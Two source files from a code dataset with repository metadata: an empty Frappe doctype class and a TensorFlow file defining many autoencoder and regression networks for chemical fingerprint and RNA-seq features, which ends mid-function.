norden/norden/doctype/ds_smart_analytics/ds_smart_analytics.py

thispl/norden

2a208056e948cae42da688e28c15024124254867

[ "MIT" ]

null

norden/norden/doctype/ds_smart_analytics/ds_smart_analytics.py

thispl/norden

2a208056e948cae42da688e28c15024124254867

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Copyright (c) 2021, Teampro and contributors # For license information, please see license.txt from __future__ import unicode_literals # import frappe from frappe.model.document import Document class DSSmartAnalytics(Document): pass

23.818182

49

0.778626

ace8ef7d53a23a4b0e661042b19f757c3f6c5bd3

48,150

py

Python

src/tf_model.py

stewarthe6/NCI-DOE-Collab-Pilot1-Semi-Supervised-Feature-Learning-with-Center-Loss

db63415daa684eaadeefd6845032d8a86608b79e

[ "MIT" ]

null

src/tf_model.py

stewarthe6/NCI-DOE-Collab-Pilot1-Semi-Supervised-Feature-Learning-with-Center-Loss

db63415daa684eaadeefd6845032d8a86608b79e

[ "MIT" ]

null

src/tf_model.py

stewarthe6/NCI-DOE-Collab-Pilot1-Semi-Supervised-Feature-Learning-with-Center-Loss

db63415daa684eaadeefd6845032d8a86608b79e

[ "MIT" ]

1

2021-08-11T16:20:16.000Z

from __future__ import division, print_function, absolute_import import tensorflow as tf from tf_layers import * from tf_selu import selu import math def getNetwork(t): print("using AE", t) if t == 'wide': return Regression_Wide if t == 'encoded': return Regression_Encoded if t == 'chem': return AutoEncoder_Chem if t == 'sig': return AutoEncoder_Chem_Sigmoid if t == 'ecfp': return AutoEncoder_Chem_ECFP if t == 'ecfp_sig': return AutoEncoder_Chem_ECFP_sig if t == 'ecfp_sig_bn': return AutoEncoder_Chem_ECFP_sig_bn if t == 'flat': return AutoEncoder_Chem_Flat if t == 'ecfp_two': return AutoEncoder_ECFP_Two if t == 'ecfp_three': return AutoEncoder_ECFP_Three if t == 'ecfp_five': return AutoEncoder_ECFP_Five if t == 'ecfp_three_bn': return AutoEncoder_ECFP_Three_BN if t == 'ecfp_skinny_bn': return AutoEncoder_ECFP_Skinny_BN if t == 'ecfp_selu': return AutoEncoder_ECFP_SELU if t == 'ecfp_selu_five': return AutoEncoder_ECFP_SELU_Five if t == 'ecfp_selu_two': return AutoEncoder_ECFP_SELU_Two if t == 'rnaseq_selu': return RNASEQ_SELU if t == 'rnaseq_selu_big': return RNASEQ_SELU_big if t == 'rnaseq_relu_big': return RNASEQ_RELU_big if t == 'rnaseq_sig_big': return RNASEQ_Sig_big if t == 'rnaseq_selu_bigger': return RNASEQ_SELU_bigger if t == 'rnaseq_selu_sq': return RNASEQ_SELU_sq if t == 'rnaseq_selu_1k': return RNASEQ_SELU_1k if t == 'rnaseq_sq': return RNASEQ_sq if t == 'lbexp_selu': return LBEXP_SELU if t == 'lbexp_relu': return LBEXP_RELU if t == 'tox_relu': return TOX_RELU if t == 'tox_relu_reg': return TOX_RELU_REG if t == 'rnaseq_selu_big': return RNASEQ_SELU_big if t == 'fang_relu_dragon': return FANG_RELU_DRAGON if t == 'fang_relu_gene': return FANG_RELU_GENE print("unrecognized autoencoder type", t) class Regression_Wide: def __init__(self, numFeatures, is_training=True): # self.width is how many features make up the input/output self.width = numFeatures self.is_training = is_training # Building the encoder def encoder(self, x): test = not self.is_training fc1 = batch_normalized_linear_layer(x, "fc1", 2000, stddev=1, wd=.004, test=test) fc2 = batch_normalized_linear_layer(fc1, "fc2", 500, stddev=1, wd=.004, test=test) fc3 = batch_normalized_linear_layer(fc2, "fc3", 100, stddev=1, wd=.004, test=test) fc3_out = linear_layer(fc3, 'fc3_out', 1, stddev=1, wd=.004, nonlinearity=None) return fc3_out class Regression_Encoded: def __init__(self, numFeatures, is_training=True): # self.width is how many features make up the input/output self.width = numFeatures self.is_training = is_training # Building the encoder def encoder(self, x): test = not self.is_training #fc1 = batch_normalized_linear_layer(x, "fc1", 50, stddev=1, wd=.004, test=test) #fc2 = batch_normalized_linear_layer(x, "fc2", 25, stddev=1, wd=.004, test=test) #fc3 = batch_normalized_linear_layer(fc2, "fc3", 12, stddev=1, wd=.004, test=test) fc3_out = linear_layer(x, 'fc3_out', 1, stddev=1, wd=.004, nonlinearity=None) return fc3_out class AutoEncoder_Chem_Sigmoid: def __init__(self, numFeatures, is_training=True): # self.width is how many features make up the input/output print("using the correct AE class") self.width = numFeatures self.is_training = is_training # Building the encoder def encoder(self, x): test = not self.is_training fc1 = linear_layer(x, "fc1", 2000, stddev=.005, wd=.004, nonlinearity=tf.sigmoid) fc2 = linear_layer(fc1, "fc2", 500, stddev=.005, wd=.004, nonlinearity=tf.sigmoid) fc3_out = linear_layer(fc2, "fc3_3", 100, stddev=.005, wd=.004, nonlinearity=tf.sigmoid) return fc3_out # Building the decoder def decoder(self, x): test = not self.is_training de_fc1 = linear_layer(x, "de_fc1", 500, stddev=.005, wd=.004, nonlinearity=tf.sigmoid) de_fc2 = linear_layer(de_fc1, "de_fc2", 2000, stddev=.005, wd=.004, nonlinearity=tf.sigmoid) de_fc3_out = linear_layer(de_fc2, 'de_fc3_out', self.width, stddev=.005, wd=.004) return de_fc3_out class AutoEncoder_Chem: def __init__(self, numFeatures, is_training=True): # self.width is how many features make up the input/output self.width = numFeatures self.is_training = is_training # Building the encoder def encoder(self, x): test = not self.is_training fc1 = batch_normalized_linear_layer(x, "fc1", 2000, stddev=.005, wd=.004, test=test) fc2 = batch_normalized_linear_layer(fc1, "fc2", 500, stddev=.005, wd=.004, test=test) fc3_out = linear_layer(fc2, "fc3_3", 100, stddev=.005, wd=.004) return fc3_out # Building the decoder def decoder(self, x): test = not self.is_training de_fc1 = batch_normalized_linear_layer(x, "de_fc1", 500, stddev=.005, wd=.004, test=test) de_fc2 = batch_normalized_linear_layer(de_fc1, "de_fc2", 2000, stddev=.005, wd=.004, test=test) de_fc3_out = linear_layer(de_fc2, 'de_fc3_out', self.width, stddev=.005, wd=.004) return de_fc3_out class AutoEncoder_Chem_Flat: def __init__(self, numFeatures, is_training=True): # self.width is how many features make up the input/output print("using flat network") self.width = numFeatures self.is_training = is_training # Building the encoder def encoder(self, x): test = not self.is_training fc1 = linear_layer(x, "fc1", 100, stddev=.005, wd=.004) return fc1 # Building the decoder def decoder(self, x): test = not self.is_training de_fc1 = linear_layer(x, 'de_fc1', self.width, stddev=.005, wd=.004) return de_fc1 class AutoEncoder_Chem_ECFP: def __init__(self, numFeatures, is_training=True): # self.width is how many features make up the input/output print("AE for ECFP") self.width = numFeatures self.is_training = is_training # Building the encoder def encoder(self, x): test = not self.is_training fc1 = linear_layer(x, "fc1", 2000, stddev=.01, wd=.004) fc2 = linear_layer(fc1, "fc2", 1000, stddev=.01, wd=.004) fc3 = linear_layer(fc2, "fc3", 500, stddev=.01, wd=.004) fc4 = linear_layer(fc3, "fc4", 250, stddev=.01, wd=.004) fc5_out = linear_layer(fc4, "fc5_out", 100, stddev=.01, wd=.004) return fc5_out # Building the decoder def decoder(self, x): test = not self.is_training de_fc1 = linear_layer(x, "de_fc1", 250, stddev=.01, wd=.004) de_fc2 = linear_layer(de_fc1, "de_fc2", 500, stddev=.01, wd=.004) de_fc3 = linear_layer(de_fc2, "de_fc3", 1000, stddev=.01, wd=.004) de_fc4 = linear_layer(de_fc3, "de_fc4", 2000, stddev=.01, wd=.004) de_fc5_out = linear_layer(de_fc4, 'de_fc5_out', self.width, stddev=.01, wd=.004) return de_fc5_out def intense_sigmoid(X, name=None): return tf.nn.sigmoid(1*X) class AutoEncoder_Chem_ECFP_sig: def __init__(self, numFeatures, is_training=True): # self.width is how many features make up the input/output print("AE for ECFP_sig") self.width = numFeatures self.is_training = is_training # Building the encoder def encoder(self, x): test = not self.is_training fc1 = linear_layer(x, "fc1", 2000, stddev=.01, wd=.004) fc2 = linear_layer(fc1, "fc2", 1000, stddev=.01, wd=.004) fc3 = linear_layer(fc2, "fc3", 500, stddev=.01, wd=.004) fc4 = linear_layer(fc3, "fc4", 250, stddev=.01, wd=.004) fc5_out = linear_layer(fc4, "fc5_out", 100, stddev=.01, wd=.004) return fc5_out # Building the decoder def decoder(self, x): test = not self.is_training de_fc1 = linear_layer(x, "de_fc1", 250, stddev=.01, wd=.004) de_fc2 = linear_layer(de_fc1, "de_fc2", 500, stddev=.01, wd=.004) de_fc3 = linear_layer(de_fc2, "de_fc3", 1000, stddev=.01, wd=.004) de_fc4 = linear_layer(de_fc3, "de_fc4", 2000, stddev=.01, wd=.004) de_fc5_out = linear_layer(de_fc4, 'de_fc5_out', self.width, stddev=.01, wd=.004, nonlinearity=intense_sigmoid) return de_fc5_out class AutoEncoder_Chem_ECFP_sig_bn: def __init__(self, numFeatures, is_training=True): # self.width is how many features make up the input/output print("AE for ECFP_sig_bn") self.width = numFeatures self.is_training = is_training # Building the encoder def encoder(self, x): test = not self.is_training fc1 = batch_normalized_linear_layer(x, "fc1", 2000, stddev=.01, wd=.004, test=test) fc2 = batch_normalized_linear_layer(fc1, "fc2", 1000, stddev=.01, wd=.004, test=test) fc3 = batch_normalized_linear_layer(fc2, "fc3", 500, stddev=.01, wd=.004, test=test) fc4 = batch_normalized_linear_layer(fc3, "fc4", 250, stddev=.01, wd=.004, test=test) fc5_out = linear_layer(fc4, "fc5_out", 100, stddev=.01, wd=.004) return fc5_out # Building the decoder def decoder(self, x): test = not self.is_training de_fc1 = batch_normalized_linear_layer(x, "de_fc1", 250, stddev=.01, wd=.004, test=test) de_fc2 = batch_normalized_linear_layer(de_fc1, "de_fc2", 500, stddev=.01, wd=.004, test=test) de_fc3 = batch_normalized_linear_layer(de_fc2, "de_fc3", 1000, stddev=.01, wd=.004, test=test) de_fc4 = batch_normalized_linear_layer(de_fc3, "de_fc4", 2000, stddev=.01, wd=.004, test=test) de_fc5_out = linear_layer(de_fc4, 'de_fc5_out', self.width, stddev=.01, wd=.004, nonlinearity=intense_sigmoid) return de_fc5_out class AutoEncoder_ECFP_Two: def __init__(self, numFeatures, is_training=True): # self.width is how many features make up the input/output print("AE for ECFP_two") self.width = numFeatures self.is_training = is_training # Building the encoder def encoder(self, x, keep_prob, weight_decay): test = not self.is_training fc1 = linear_layer(x, "fc1", 100, stddev=.04, wd=None) fc2_out = linear_layer(fc1, "fc2_out", 100, stddev=.04, wd=None) return fc2_out # Building the decoder def decoder(self, x, keep_prob, weight_decay): test = not self.is_training de_fc1 = linear_layer(x, "de_fc1", 100, stddev=.04, wd=None) de_fc2_out = linear_layer(de_fc1, 'de_fc2_out', self.width, stddev=.04, \ wd=None, nonlinearity=tf.nn.relu) return de_fc2_out class AutoEncoder_ECFP_Three: def __init__(self, numFeatures, is_training=True): # self.width is how many features make up the input/output print("AE for ECFP_three") self.width = numFeatures self.is_training = is_training # Building the encoder def encoder(self, x, keep_prob, weight_decay): test = not self.is_training fc1 = linear_layer(x, "fc1", 500, stddev=.04, wd=None) fc2 = linear_layer(fc1, 'fc2', 250, stddev=.04, wd=None) fc3_out = linear_layer(fc2, "fc3_out", 100, stddev=.04, wd=None) return fc3_out # Building the decoder def decoder(self, x, keep_prob, weight_decay): test = not self.is_training de_fc1 = linear_layer(x, "de_fc1", 250, stddev=.04, wd=None) de_fc2 = linear_layer(de_fc1, "de_fc2", 500, stddev=.04, wd=None) de_fc3_out = linear_layer(de_fc2, 'de_fc3_out', self.width, stddev=.04, \ wd=None, nonlinearity=tf.sigmoid) return de_fc3_out class AutoEncoder_ECFP_Five: def __init__(self, numFeatures, is_training=True): # self.width is how many features make up the input/output print("AE for ECFP_three") self.width = numFeatures self.is_training = is_training # Building the encoder def encoder(self, x, keep_prob, weight_decay): test = not self.is_training fc1 = linear_layer(x, "fc1", 200, stddev=.04, wd=None) fc2 = linear_layer(fc1, 'fc2', 150, stddev=.04, wd=None) fc3 = linear_layer(fc2, "fc3", 100, stddev=.04, wd=None) fc4 = linear_layer(fc3, "fc4", 100, stddev=.04, wd=None) fc5_out = linear_layer(fc4, "fc5_out", 100, stddev=.04, wd=None) return fc5_out # Building the decoder def decoder(self, x, keep_prob, weight_decay): test = not self.is_training de_fc1 = linear_layer(x, "de_fc1", 100, stddev=.04, wd=None) de_fc2 = linear_layer(de_fc1, "de_fc2", 100, stddev=.04, wd=None) de_fc3 = linear_layer(de_fc2, "de_fc3", 150, stddev=.04, wd=None) de_fc4 = linear_layer(de_fc3, "de_fc4", 200, stddev=.04, wd=None) de_fc5_out = linear_layer(de_fc4, 'de_fc5_out', self.width, stddev=.04, \ wd=None, nonlinearity=tf.sigmoid) return de_fc5_out class AutoEncoder_ECFP_SELU_Two: def __init__(self, numFeatures, is_training=True): # self.width is how many features make up the input/output print("AE for ECFP_two_SELU") self.width = numFeatures self.is_training = is_training # Building the encoder def encoder(self, x, keep_prob, weight_decay): test = not self.is_training f1_width = 100 fc1 = linear_layer(x, 'fc1', f1_width, stddev=math.sqrt(1./self.width), wd=weight_decay, \ nonlinearity=selu) self.f2_out_width = 100 fc2_out = linear_layer(fc1, "fc2_out", self.f2_out_width, stddev=math.sqrt(1./f1_width), \ wd=weight_decay, nonlinearity=selu) return fc2_out # Building the decoder def decoder(self, x, keep_prob, weight_decay): test = not self.is_training f1_width = 100 de_fc1 = linear_layer(x, "de_fc1", f1_width, stddev=math.sqrt(1./self.f2_out_width), \ wd=weight_decay, nonlinearity=selu) de_fc2_out = linear_layer(de_fc1, 'de_fc2_out', self.width, stddev=math.sqrt(1./f1_width), \ wd=weight_decay, nonlinearity=tf.nn.relu) return de_fc2_out class AutoEncoder_ECFP_SELU_Five: def __init__(self, is_training=True): # self.width is how many features make up the input/output print("AE for ECFP_SELU_Five") self.is_training = is_training # Building the encoder def encoder(self, x, keep_prob, weight_decay): test = not self.is_training self.width = x.get_shape().as_list()[1] f1_width = 200 fc1 = linear_layer(x, "ecfps5_fc1", f1_width, stddev=math.sqrt(1./self.width), wd=weight_decay, \ nonlinearity=selu) f2_width = 150 fc2 = linear_layer(fc1, 'ecfps5_fc2', f2_width, stddev=math.sqrt(1./f1_width), wd=weight_decay, \ nonlinearity=selu) f3_width = 100 fc3 = linear_layer(fc2, 'ecfps5_fc3', f3_width, stddev=math.sqrt(1./f2_width), wd=weight_decay, \ nonlinearity=selu) f4_width = 100 fc4 = linear_layer(fc3, 'ecfps5_fc4', f4_width, stddev=math.sqrt(1./f3_width), wd=weight_decay, \ nonlinearity=selu) self.f5_out_width = 100 fc5_out = linear_layer(fc4, "ecfps5_fc5_out", self.f5_out_width, stddev=math.sqrt(1./f4_width), \ wd=weight_decay, nonlinearity=selu) return fc5_out # Building the decoder def decoder(self, x, keep_prob, weight_decay): test = not self.is_training f1_width = 100 de_fc1 = linear_layer(x, "ecfps5_de_fc1", f1_width, stddev=math.sqrt(1./self.f5_out_width), \ wd=weight_decay, nonlinearity=selu) f2_width = 100 de_fc2 = linear_layer(de_fc1, "ecfps5_de_fc2", f2_width, stddev=math.sqrt(1./f1_width), \ wd=weight_decay, nonlinearity=selu) f3_width = 150 de_fc3 = linear_layer(de_fc2, "ecfps5_de_fc3", f3_width, stddev=math.sqrt(1./f2_width), \ wd=weight_decay, nonlinearity=selu) f4_width = 200 de_fc4 = linear_layer(de_fc3, "ecfps5_de_fc4", f4_width, stddev=math.sqrt(1./f3_width), \ wd=weight_decay, nonlinearity=selu) de_fc5_out = linear_layer(de_fc4, 'ecfps5_de_fc5_out', self.width, stddev=math.sqrt(1./f4_width), \ wd=weight_decay, nonlinearity=tf.nn.relu) return de_fc5_out class AutoEncoder_ECFP_SELU: def __init__(self, is_training=True): # self.width is how many features make up the input/output print("AE for ECFP_three_SELU") self.is_training = is_training # Building the encoder def encoder(self, x, keep_prob, weight_decay, reuse=None): test = not self.is_training self.width = x.get_shape().as_list()[1] print("x shape", x.get_shape().as_list()) print("self.width", self.width) f1_width = 500 fc1 = linear_layer(x, "ecfps_fc1", f1_width, stddev=math.sqrt(1./self.width), wd=weight_decay, \ nonlinearity=selu, reuse=reuse) f2_width = 250 fc2 = linear_layer(fc1, 'ecfps_fc2', f2_width, stddev=math.sqrt(1./f1_width), wd=weight_decay, \ nonlinearity=selu, reuse=reuse) self.f3_out_width = 100 fc3_out = linear_layer(fc2, "ecfps_fc3_out", self.f3_out_width, stddev=math.sqrt(1./f2_width), \ wd=weight_decay, nonlinearity=selu, reuse=reuse) return fc3_out # Building the decoder def decoder(self, x, keep_prob, weight_decay): test = not self.is_training f1_width = 250 de_fc1 = linear_layer(x, "ecfps_de_fc1", f1_width, stddev=math.sqrt(1./self.f3_out_width), \ wd=weight_decay, nonlinearity=selu) f2_width = 500 de_fc2 = linear_layer(de_fc1, "ecfps_de_fc2", f2_width, stddev=math.sqrt(1./f1_width), \ wd=weight_decay, nonlinearity=selu) de_fc3_out = linear_layer(de_fc2, 'ecfps_de_fc3_out', self.width, stddev=math.sqrt(1./f2_width), \ wd=weight_decay, nonlinearity=tf.nn.relu) print("out layer has width", self.width) return de_fc3_out class RNASEQ_SELU_big: def __init__(self, is_training=True): # self.width is how many features make up the input/output print("AE for RNASEQ_SELU_big") self.is_training = is_training # Building the encoder def encoder(self, x, keep_prob, weight_decay, reuse=None): test = not self.is_training self.width = x.get_shape().as_list()[1] print("x shape", x.get_shape().as_list()) print("self.width", self.width) f1_width = 5000 fc1 = linear_layer(x, "rnasb_fc1", f1_width, stddev=math.sqrt(1./self.width), wd=weight_decay, \ nonlinearity=selu, reuse=reuse) f2_width = 2000 fc2 = linear_layer(fc1, 'rnasb_fc2', f2_width, stddev=math.sqrt(1./f1_width), wd=weight_decay, \ nonlinearity=selu, reuse=reuse) f3_width = 400 fc3 = linear_layer(fc2, 'rnasb_fc3', f3_width, stddev=math.sqrt(1./f2_width), wd=weight_decay, \ nonlinearity=selu, reuse=reuse) self.f4_out_width = 200 fc4_out = linear_layer(fc3, "rnasb_fc4_out", self.f4_out_width, stddev='Xav', \ wd=weight_decay, nonlinearity=None, reuse=reuse) return fc4_out # Building the decoder def decoder(self, x, keep_prob, weight_decay): test = not self.is_training f1_width = 400 de_fc1 = linear_layer(x, "rnasb_de_fc1", f1_width, stddev=math.sqrt(1./self.f4_out_width), \ wd=weight_decay, nonlinearity=selu) f2_width = 2000 de_fc2 = linear_layer(de_fc1, "rnasb_de_fc2", f2_width, stddev=math.sqrt(1./f1_width), \ wd=weight_decay, nonlinearity=selu) f3_width = 5000 de_fc3 = linear_layer(de_fc2, "rnasb_de_fc3", f3_width, stddev=math.sqrt(1./f2_width), \ wd=weight_decay, nonlinearity=selu) de_fc4_out = linear_layer(de_fc3, 'rnasb_de_fc4_out', self.width, stddev='Xav', \ wd=weight_decay, nonlinearity=None) print("out layer has width", self.width) return de_fc4_out class RNASEQ_RELU_big: def __init__(self, is_training=True): # self.width is how many features make up the input/output print("AE for RNASEQ_RELU_big") self.is_training = is_training self.pfx = "rnarb" # Building the encoder def encoder(self, x, keep_prob, weight_decay, reuse=None): test = not self.is_training self.width = x.get_shape().as_list()[1] print("x shape", x.get_shape().as_list()) print("self.width", self.width) f1_width = 5000 fc1 = linear_layer(x, self.pfx+"_fc1", f1_width, stddev='Xav', wd=weight_decay, \ nonlinearity=tf.nn.relu, reuse=reuse) f2_width = 2000 fc2 = linear_layer(fc1, self.pfx+'_fc2', f2_width, stddev='Xav', wd=weight_decay, \ nonlinearity=tf.nn.relu, reuse=reuse) f3_width = 400 fc3 = linear_layer(fc2, self.pfx+'fc3', f3_width, stddev='Xav', wd=weight_decay, \ nonlinearity=tf.nn.relu, reuse=reuse) self.f4_out_width = 200 fc4_out = linear_layer(fc3, "rnasb_fc4_out", self.f4_out_width, stddev='Xav', \ wd=weight_decay, nonlinearity=None, reuse=reuse) return fc4_out # Building the decoder def decoder(self, x, keep_prob, weight_decay): test = not self.is_training f1_width = 400 de_fc1 = linear_layer(x, self.pfx+"_de_fc1", f1_width, stddev='Xav', \ wd=weight_decay, nonlinearity=tf.nn.relu) f2_width = 2000 de_fc2 = linear_layer(de_fc1, self.pfx+"_de_fc2", f2_width, stddev='Xav', \ wd=weight_decay, nonlinearity=tf.nn.relu) f3_width = 5000 de_fc3 = linear_layer(de_fc2, self.pfx+"_de_fc3", f3_width, stddev='Xav', \ wd=weight_decay, nonlinearity=tf.nn.relu) de_fc4_out = linear_layer(de_fc3, self.pfx+'de_fc4_out', self.width, stddev='Xav', \ wd=weight_decay, nonlinearity=None) print("out layer has width", self.width) return de_fc4_out class RNASEQ_Sig_big: def __init__(self, is_training=True): # self.width is how many features make up the input/output print("AE for RNASEQ_Sig_big") self.is_training = is_training self.pfx = "rnasigb" # Building the encoder def encoder(self, x, keep_prob, weight_decay, reuse=None): test = not self.is_training self.width = x.get_shape().as_list()[1] print("x shape", x.get_shape().as_list()) print("self.width", self.width) f1_width = 5000 fc1 = linear_layer(x, self.pfx+"_fc1", f1_width, stddev='Xav', wd=weight_decay, \ nonlinearity=tf.nn.sigmoid, reuse=reuse) f2_width = 2000 fc2 = linear_layer(fc1, self.pfx+'_fc2', f2_width, stddev='Xav', wd=weight_decay, \ nonlinearity=tf.nn.sigmoid, reuse=reuse) f3_width = 400 fc3 = linear_layer(fc2, self.pfx+'fc3', f3_width, stddev='Xav', wd=weight_decay, \ nonlinearity=tf.nn.sigmoid, reuse=reuse) self.f4_out_width = 200 fc4_out = linear_layer(fc3, "rnasb_fc4_out", self.f4_out_width, stddev='Xav', \ wd=weight_decay, nonlinearity=None, reuse=reuse) return fc4_out # Building the decoder def decoder(self, x, keep_prob, weight_decay): test = not self.is_training f1_width = 400 de_fc1 = linear_layer(x, self.pfx+"_de_fc1", f1_width, stddev='Xav', \ wd=weight_decay, nonlinearity=tf.nn.sigmoid) f2_width = 2000 de_fc2 = linear_layer(de_fc1, self.pfx+"_de_fc2", f2_width, stddev='Xav', \ wd=weight_decay, nonlinearity=tf.nn.sigmoid) f3_width = 5000 de_fc3 = linear_layer(de_fc2, self.pfx+"_de_fc3", f3_width, stddev='Xav', \ wd=weight_decay, nonlinearity=tf.nn.sigmoid) de_fc4_out = linear_layer(de_fc3, self.pfx+'de_fc4_out', self.width, stddev='Xav', \ wd=weight_decay, nonlinearity=None) print("out layer has width", self.width) return de_fc4_out class RNASEQ_SELU_bigger: def __init__(self, is_training=True): # self.width is how many features make up the input/output print("AE for RNASEQ_SELU_bigger") self.is_training = is_training # Building the encoder def encoder(self, x, keep_prob, weight_decay, reuse=None): test = not self.is_training self.width = x.get_shape().as_list()[1] print("x shape", x.get_shape().as_list()) print("self.width", self.width) fc1 = linear_layer(x, "rnasbr_fc1", 5000, stddev='selu', wd=weight_decay, \ nonlinearity=selu, reuse=reuse) fc2 = linear_layer(fc1, 'rnasbr_fc2', 2000, stddev='selu', wd=weight_decay, \ nonlinearity=selu, reuse=reuse) fc3 = linear_layer(fc2, 'rnasbr_fc3', 1000, stddev='selu', wd=weight_decay, \ nonlinearity=selu, reuse=reuse) fc4 = linear_layer(fc3, 'rnasbr_fc4', 500, stddev='selu', wd=weight_decay, \ nonlinearity=selu, reuse=reuse) self.f5_out_width = 200 fc5_out = linear_layer(fc4, "rnasbr_fc5_out", self.f5_out_width, stddev='Xav', \ wd=weight_decay, nonlinearity=None, reuse=reuse) return fc5_out # Building the decoder def decoder(self, x, keep_prob, weight_decay): test = not self.is_training de_fc1 = linear_layer(x, "rnasbr_de_fc1", 500, stddev='selu', \ wd=weight_decay, nonlinearity=selu) de_fc2 = linear_layer(de_fc1, "rnasbr_de_fc2", 1000, stddev='selu', \ wd=weight_decay, nonlinearity=selu) de_fc3 = linear_layer(de_fc2, "rnasbr_de_fc3", 2000, stddev='selu', \ wd=weight_decay, nonlinearity=selu) de_fc4 = linear_layer(de_fc3, "rnasbr_de_fc4", 5000, stddev='selu', \ wd=weight_decay, nonlinearity=selu) de_fc5_out = linear_layer(de_fc4, 'rnasbr_de_fc5_out', self.width, stddev='Xav', \ wd=weight_decay, nonlinearity=None) print("out layer has width", self.width) return de_fc5_out class RNASEQ_SELU_sq: def __init__(self, is_training=True): # self.width is how many features make up the input/output print("AE for RNASEQ_SELU_sq") self.is_training = is_training # Building the encoder def encoder(self, x, keep_prob, weight_decay, reuse=None): test = not self.is_training self.width = x.get_shape().as_list()[1] print("x shape", x.get_shape().as_list()) print("self.width", self.width) f1_width = 1000 fc1 = linear_layer(x, "rnassq_fc1", f1_width, stddev=math.sqrt(1./self.width), wd=weight_decay, \ nonlinearity=selu, reuse=reuse) f2_width = 1000 fc2 = linear_layer(fc1, 'rnassq_fc2', f2_width, stddev=math.sqrt(1./f1_width), wd=weight_decay, \ nonlinearity=selu, reuse=reuse) f3_width = 1000 fc3 = linear_layer(fc2, 'rnassq_fc3', f3_width, stddev=math.sqrt(1./f2_width), wd=weight_decay, \ nonlinearity=selu, reuse=reuse) self.f4_out_width = 200 fc4_out = linear_layer(fc3, "rnassq_fc4_out", self.f4_out_width, stddev='Xav', \ wd=weight_decay, nonlinearity=None, reuse=reuse) return fc4_out # Building the decoder def decoder(self, x, keep_prob, weight_decay): test = not self.is_training f1_width = 1000 de_fc1 = linear_layer(x, "rnassq_de_fc1", f1_width, stddev=math.sqrt(1./self.f4_out_width), \ wd=weight_decay, nonlinearity=selu) f2_width = 1000 de_fc2 = linear_layer(de_fc1, "rnassq_de_fc2", f2_width, stddev=math.sqrt(1./f1_width), \ wd=weight_decay, nonlinearity=selu) f3_width = 1000 de_fc3 = linear_layer(de_fc2, "rnassq_de_fc3", f3_width, stddev=math.sqrt(1./f2_width), \ wd=weight_decay, nonlinearity=selu) de_fc4_out = linear_layer(de_fc3, 'rnassq_de_fc4_out', self.width, stddev='Xav', \ wd=weight_decay, nonlinearity=None) print("out layer has width", self.width) return de_fc4_out class RNASEQ_SELU_1k: def __init__(self, is_training=True): # self.width is how many features make up the input/output print("AE for RNASEQ_SELU_sq") self.is_training = is_training # Building the encoder def encoder(self, x, keep_prob, weight_decay, reuse=None): test = not self.is_training self.width = x.get_shape().as_list()[1] print("x shape", x.get_shape().as_list()) print("self.width", self.width) f1_width = 1000 fc1 = linear_layer(x, "rnas1k_fc1", f1_width, stddev=math.sqrt(1./self.width), wd=weight_decay, \ nonlinearity=selu, reuse=reuse) f2_width = 1000 fc2 = linear_layer(fc1, 'rnas1k_fc2', f2_width, stddev=math.sqrt(1./f1_width), wd=weight_decay, \ nonlinearity=selu, reuse=reuse) f3_width = 1000 fc3 = linear_layer(fc2, 'rnas1k_fc3', f3_width, stddev=math.sqrt(1./f2_width), wd=weight_decay, \ nonlinearity=selu, reuse=reuse) self.f4_out_width = 1000 fc4_out = linear_layer(fc3, "rnas1k_fc4_out", self.f4_out_width, stddev=math.sqrt(1./f3_width), \ wd=weight_decay, nonlinearity=selu, reuse=reuse) return fc4_out # Building the decoder def decoder(self, x, keep_prob, weight_decay): test = not self.is_training f1_width = 1000 de_fc1 = linear_layer(x, "rnas1k_de_fc1", f1_width, stddev=math.sqrt(1./self.f4_out_width), \ wd=weight_decay, nonlinearity=selu) f2_width = 1000 de_fc2 = linear_layer(de_fc1, "rnas1k_de_fc2", f2_width, stddev=math.sqrt(1./f1_width), \ wd=weight_decay, nonlinearity=selu) f3_width = 1000 de_fc3 = linear_layer(de_fc2, "rnas1k_de_fc3", f3_width, stddev=math.sqrt(1./f2_width), \ wd=weight_decay, nonlinearity=selu) de_fc4_out = linear_layer(de_fc3, 'rnas1k_de_fc4_out', self.width, stddev=math.sqrt(1./f3_width), \ wd=weight_decay, nonlinearity=None) print("out layer has width", self.width) return de_fc4_out class RNASEQ_SELU: def __init__(self, is_training=True): # self.width is how many features make up the input/output print("AE for RNASEQ_SELU") self.is_training = is_training # Building the encoder def encoder(self, x, keep_prob, weight_decay, reuse=None): test = not self.is_training self.width = x.get_shape().as_list()[1] print("x shape", x.get_shape().as_list()) print("self.width", self.width) f1_width = 5000 fc1 = linear_layer(x, "rnas_fc1", f1_width, stddev=math.sqrt(1./self.width), wd=weight_decay, \ nonlinearity=selu, reuse=reuse) f2_width = 1000 fc2 = linear_layer(fc1, 'rnas_fc2', f2_width, stddev=math.sqrt(1./f1_width), wd=weight_decay, \ nonlinearity=selu, reuse=reuse) self.f3_out_width = 100 fc3_out = linear_layer(fc2, "rnas_fc3_out", self.f3_out_width, stddev=math.sqrt(1./f2_width), \ wd=weight_decay, nonlinearity=selu, reuse=reuse) return fc3_out # Building the decoder def decoder(self, x, keep_prob, weight_decay): test = not self.is_training f1_width = 1000 de_fc1 = linear_layer(x, "rnas_de_fc1", f1_width, stddev=math.sqrt(1./self.f3_out_width), \ wd=weight_decay, nonlinearity=selu) f2_width = 5000 de_fc2 = linear_layer(de_fc1, "rnas_e_fc2", f2_width, stddev=math.sqrt(1./f1_width), \ wd=weight_decay, nonlinearity=selu) de_fc3_out = linear_layer(de_fc2, 'rnas_e_fc3_out', self.width, stddev=math.sqrt(1./f2_width), \ wd=weight_decay, nonlinearity=None) print("out layer has width", self.width) return de_fc3_out class RNASEQ_sq: def __init__(self, is_training=True): # self.width is how many features make up the input/output print("AE for RNASEQ_sq") self.is_training = is_training # Building the encoder def encoder(self, x, keep_prob, weight_decay, reuse=None): test = not self.is_training self.width = x.get_shape().as_list()[1] print("x shape", x.get_shape().as_list()) print("self.width", self.width) f1_width = 1000 fc1 = linear_layer(x, "rnasq_fc1", f1_width, stddev='Xav', wd=weight_decay, \ nonlinearity=tf.nn.relu, reuse=reuse) f2_width = 1000 fc2 = linear_layer(fc1, 'rnasq_fc2', f2_width, stddev='Xav', wd=weight_decay, \ nonlinearity=tf.nn.relu, reuse=reuse) f3_width = 1000 fc3 = linear_layer(fc2, 'rnasq_fc3', f3_width, stddev='Xav', wd=weight_decay, \ nonlinearity=tf.nn.relu, reuse=reuse) self.f4_out_width = 200 fc4_out = linear_layer(fc3, "rnasq_fc4_out", self.f4_out_width, stddev='Xav', \ wd=weight_decay, 